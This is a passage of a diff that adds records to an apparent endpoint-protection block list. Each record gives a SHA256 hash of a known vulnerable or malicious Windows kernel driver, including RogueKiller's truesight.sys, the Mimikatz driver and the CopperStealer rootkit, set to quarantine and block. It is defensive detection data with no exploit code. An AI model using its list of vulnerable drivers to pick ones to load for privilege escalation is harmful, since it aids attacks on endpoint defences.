+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f268e679640e2be2c2f10153fe2bb866a76e63ec7237552377e00121579f3a16",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2e624e7f-4d71-5e73-9375-725614d45442",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977243Z",
+  "creation_date": "2026-03-23T11:45:29.977245Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977250Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e1cb86386757b947b39086cc8639da988f6e8018ca9995dd669bdc03c8d39d7d",
+  "comment": "Malicious CopperStealer Rootkit (aka windbg.sys) [https://www.proofpoint.com/us/blog/threat-insight/now-you-see-it-now-you-dont-copperstealer-performs-widespread-theft] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2e677db8-0185-54be-a208-ae0924a05730",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147466Z",
+  "creation_date": "2026-03-23T11:45:31.147468Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147473Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39387167827471754b84cb209e9bd06b268173b53d64f8106a2fdf8ae872df42",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2e712d09-5b84-5a6a-9432-bf2cf89a0927",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807539Z",
+  "creation_date": "2026-03-23T11:45:31.807541Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807547Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a688ece8c13c9250de44f982cbcbe8ed7460aa4173cfd51a1f8ce0490ead33f7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2e8096a7-8140-5188-b445-4c000ad2a6f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478015Z",
+  "creation_date": "2026-03-23T11:45:30.478019Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478028Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72876e44135f9b49932b547129e32acf9ce3df98a3f9c5c31355160f6d06ca3c",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2e8d0e7b-d6b8-5ff2-b194-0f79157c2275",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150513Z",
+  "creation_date": "2026-03-23T11:45:31.150515Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150520Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ca151932a897c90240b0d5ed97b3e5f655b7383091b3d66bd54123ce3f7520bc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ea6abff-85b6-51b6-a3ea-e727903b045c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146854Z",
+  "creation_date": "2026-03-23T11:45:32.146856Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146862Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "174c8d771d31d70fc95448e961a395f5ceb7658f0cc381a718fb3b854cde4efe",
+  "comment": "Vulnerable Kernel Driver (aka BioNTdrv.sys) [https://www.loldrivers.io/drivers/e6378671-986d-42a1-8e7a-717117c83751/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ea92f52-ebc0-5178-a2ed-d2f401544dd7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832461Z",
+  "creation_date": "2026-03-23T11:45:30.832463Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832469Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f5376806f970b67dc5e8c5a74600cfa69c26d668141b353a636c9d8cd919f0f3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ebb61ad-e782-5512-8a5a-a2e03b8db716",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613598Z",
+  "creation_date": "2026-03-23T11:45:29.613599Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613605Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a0728184caead84f2e88777d833765f2d8af6a20aad77b426e07e76ef91f5c3f",
+  "comment": "Vulnerable Kernel Driver (aka AsrSetupDrv103.sys) [https://www.loldrivers.io/drivers/19003e00-d42d-4cbe-91f3-756451bdd7da/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ec5b4a5-2582-5d0d-8fb2-fee352e0c364",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621229Z",
+  "creation_date": "2026-03-23T11:45:29.621231Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621236Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c4db6ee983fd4fa74f8212031ade343a1b9abdb258d05bef1aabd7ab49fbc16",
+  "comment": "Logitech CoreTemp vulnerable driver (aka LgCoreTemp.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ed76bf2-8029-5fc5-a53d-1cb252fa25e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481229Z",
+  "creation_date": "2026-03-23T11:45:31.481233Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481243Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6d2310cdc96a3411ee73044a5cc9a5c3672f61f5c496d04d76f6723646cf237f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2edac3ac-7c75-5a70-aadd-bb0783b328ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150907Z",
+  "creation_date": "2026-03-23T11:45:31.150908Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150914Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17aa5ffb7f675645d0813a1caf6acdcbc4d6bf453a627c7535d01eb93cdd0ecc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ee9f0e7-4dc5-58b5-a040-a23f5b60e768",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145639Z",
+  "creation_date": "2026-03-23T11:45:32.145641Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145647Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "92f9341304bfb77158d29397d1b9695dee0d001ab5f119a8b49f49fa15e0cd98",
+  "comment": "Vulnerable Kernel Driver (aka psmounterex.sys) [https://www.loldrivers.io/drivers/0f64bf7a-2ef2-45ea-af7d-4e7c87d98777/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2efdd326-d568-5627-a05b-b369780b52c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463127Z",
+  "creation_date": "2026-03-23T11:45:30.463130Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463139Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7aa8abdda8a68b8418e86bef50c19ef2f34bc66e7b139e43c2a99ab48c933be",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2efe7a04-6110-5ee0-841b-cd2a20808162",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617931Z",
+  "creation_date": "2026-03-23T11:45:29.617933Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617938Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e9ec6b3e83055ae90f3664a083c46885c506d33de5e2a49f5f1189e89fa9f0a",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2f0414de-38a4-526f-8074-2b55193e2324",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140492Z",
+  "creation_date": "2026-03-23T11:45:31.140494Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140500Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "455f3eb28887f0b6d55c66f8607ee771f6103a39d8cb3af3dd1cc5f4e1266293",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2f0bcb26-7b00-5f8c-a586-4ac4afc478b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984888Z",
+  "creation_date": "2026-03-23T11:45:29.984890Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984896Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3326e2d32bbabd69feb6024809afc56c7e39241ebe70a53728c77e80995422a5",
+  "comment": "Dangerous Physmem Kernel Driver (aka BS_Def64.Sys) [https://www.loldrivers.io/drivers/4a80da66-f8f1-4af9-ba56-696cfe6c1e10/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2f17ce4f-1338-5ae9-bd08-63d200e0e42e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604609Z",
+  "creation_date": "2026-03-23T11:45:29.604610Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604616Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a7e8df7173387aec593e4fe2b45520ea3156c5f810d2bb1b2784efd1c922376",
+  "comment": "Malicious Kernel Driver (aka daxin_blank3.sys) [https://www.loldrivers.io/drivers/9748d5c8-62dd-474b-a336-0aadb49e5ff9/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2f2372d9-1dcd-5869-823b-448810e78f02",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155823Z",
+  "creation_date": "2026-03-23T11:45:31.155825Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155830Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e9f1c346fc6680ca2826dd85307c200ff199a83fa1f03b28cd14792007e39534",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2f2c126e-7fd7-5b05-af91-2ca69a1f26ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622263Z",
+  "creation_date": "2026-03-23T11:45:29.622265Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622270Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "545190e8b2a910e153b12559a9875154a1b40d6424cb4a6299a84b2dc99df700",
+  "comment": "BioStar Racing GT EVO vulnerable driver (aka BS_RCIO64.sys) [CVE-2021-44852] [https://nephosec.com/biostar-exploit/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2f2d992b-5616-51ac-a879-7e1b61b03880",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149618Z",
+  "creation_date": "2026-03-23T11:45:31.149621Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149629Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4af5d4cb95c32b9f8041a448c3766b658f4d6918f259fa75f1d0c92c711e9528",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2f2fa31b-9e29-51ba-985f-c83f5a170f16",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971042Z",
+  "creation_date": "2026-03-23T11:45:29.971045Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971054Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0867af893422b7191e77907de58faf787d4763cc7e9a2a3a91c72f1995a9c3f3",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2f371a08-0c0e-54be-9a47-c17c6dea0da5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818136Z",
+  "creation_date": "2026-03-23T11:45:30.818138Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818144Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1e4455499c6a90ba9a861120a015a6b6f17e64479462b869ad0f05edf6552de",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
